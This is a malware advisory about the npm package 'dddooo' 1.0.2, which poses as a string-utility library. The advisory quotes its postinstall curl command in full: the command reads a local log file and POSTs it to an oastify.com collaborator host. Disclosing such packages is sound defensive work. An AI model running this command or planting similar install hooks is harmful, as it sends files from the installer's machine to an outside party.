MAL-2026-6460 Malicious code in dddooo (npm)

package.json declares a postinstall lifecycle script that runs automatically on npm install: curl -X POST -d "$(cat /data/logs/monitor-2026-06-16.log)" http://3dhd6wwmusbh04m22igmzvb4hvnmblza.oastify.com/data. The script reads a file from the installer's filesystem and POSTs its contents over plain HTTP to an attacker-controlled Burp Collaborator (oastify.com) out-of-band interaction subdomain. The package presents itself as a handy string utility functions library, but has empty author/homepage/repository fields and includes a malformed trunls -lae keyword — the library framing is a cover for the install-time exfiltration. No legitimate string-utility package needs to read system log paths or beacon to oastify.com on install.

The OpenSSF Package Analysis project identified 'dddooo' @ 1.0.2 (npm) as malicious.

It is considered malicious because:

• The package communicates with a domain associated with malicious activity.

• The package executes one or more commands associated with malicious behavior.